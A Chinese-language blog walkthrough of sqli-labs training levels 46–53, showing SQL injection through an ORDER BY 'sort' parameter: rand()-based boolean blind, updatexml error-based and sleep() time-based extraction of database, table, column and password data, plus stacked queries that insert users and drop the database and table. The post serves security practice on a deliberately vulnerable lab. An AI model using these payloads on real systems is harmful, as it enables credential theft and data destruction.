当前位置: 首页 > news >正文

sqli-labs靶场46-53关(综合)

目录

less46(数字型rand布尔盲注)

less47(报错注入)

less48(数字型时间盲注)

less49(单引号时间盲注)

less50(整数堆叠)

less51(单引号堆叠)

less52(整数堆叠)

less53(单引号堆叠)



less46(数字型rand布尔盲注)

通过get传参sort

发现1,则按第一列排序

2,则按第二列排序

3,则按第三列排序

所以其实就是一个order by语句的作用

利用order by rand()注入,即sort=rand()

sort=rand(1),当布尔值为真时,页面返回:

sort=rand(0),当布尔值为假时,页面返回:

利用这个特性,利用布尔盲注:

?sort=rand(length(database())=8)——爆数据库名长度

发现当参数为8时,返回页面和rand(1)一样,即布尔值为1,所以数据库名长度为8

?sort=rand(substr((select database()),1,1)='s')——爆数据库名

?sort=rand(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e')——爆表名

?sort=rand(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i')——爆字段名

?sort=rand(substr((select password from security.users limit 0,1),1,1)='1')——爆数据



less47(报错注入)

?sort=1'报错——判断为单引号闭合

?sort=1'--+正常回显——确定为单引号闭合

利用报错信息,做报错注入:

?sort=1' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库:

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+——爆表名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+——爆字段名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users),0x7e),1)--+——爆数据



less48(数字型时间盲注)

这关是数字型,和less46类似。但是这关没有报错信息,只能盲注 。

可以直接用less46关的rand布尔盲注,也可以使用时间盲注。这关演示时间盲注:

?sort=1 and if((length(database())=8),sleep(5),1)--+——爆数据库名长度

?sort=1 and if((substr((select database()),1,1)='s'),sleep(5),1)--+——爆数据库

?sort=1 and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+——爆表

?sort=1 and if((substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+——爆字段

?sort=1 and if((substr((select password from security.users limit 0,1),1,1)='1'),sleep(5),1)--+——爆数据



less49(单引号时间盲注)

这关和less47类似,都是单引号闭合,但是这关没有报错信息,不能使用报错注入,只能使用时间盲注。

?sort=1' and if(length(database())=8,sleep(5),1)--+——爆数据库名长度

?sort=1' and if(substr((select database()),1,1)='s',sleep(5),1)--+——爆数据库

?sort=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+——爆表

?sort=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1)--+——爆字段名

?sort=1' and if(substr((select password from security.users limit 0,1),1,1)='1',sleep(5),1)--+——爆数据



less50(整数堆叠)

这关爆库方法和less46一模一样,不做赘述,这里考察的是堆叠注入。

首先判断好闭合类型——数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less51(单引号堆叠)

?sort=1'报错——判断为单引号闭合

?sort=1'--+正常回显——确定为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



less52(整数堆叠)

尝试各种闭合均不行,初步判断为数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less53(单引号堆叠)

?sort=1'报错

?sort=1'--+正常回显——判断为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



http://www.xdnf.cn/news/1033777.html

相关文章:

  • c 语言如何将 uint8_t *tg_pFrames的数据给 uint8_t **ppJpg
  • YOLO11中的C3K2模块
  • AORSA关键文件及参数解释
  • Go语言---闭包
  • golang字符串拼接
  • 【MFC 突然被问到,怎么实现一个星星按钮】原来问的是继承xs
  • CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析
  • 标准库转hal库
  • Kafka - 并发消费拉取数据过少故障分析
  • PyTorch张量操作中dim参数的核心原理与应用技巧:
  • 【机械视觉】Halcon—【十三、实例找各个区域面积和中心点】
  • 大模型成长过程-预训练tokenizer
  • 2.5 Rviz使用教程
  • 人工智能学习13-Numpy-规律数组生成
  • pytorch基本运算-梯度运算:requires_grad_(True)和backward()
  • 多个项目的信息流如何统一与整合
  • Spring AI Chat Tool Calling 指南
  • MySQL使用EXPLAIN命令查看SQL的执行计划
  • 13.20 LangChain多链协同架构实战:LanguageMentor实现67%对话连贯性提升
  • [每周一更]-(第144期):Go 定时任务的使用:从基础到进阶
  • mysql 创建大写字母的表名失败
  • HarmonyOS 组件复用 指南
  • React中使用Day.js指南
  • ABC410 : F - Balanced Rectangles
  • MIB 树的来源与实现深度解析
  • 计算机网络学习笔记:运输层概述UDP、TCP对比
  • Arduino入门教程​​​​​​​:4、打印字符到电脑
  • 疫菌QBD案例
  • Gartner《Build Scalable Data Products With This Step-by-Step Framework》学习报告
  • Linux系统安装MongoDB 8.0流程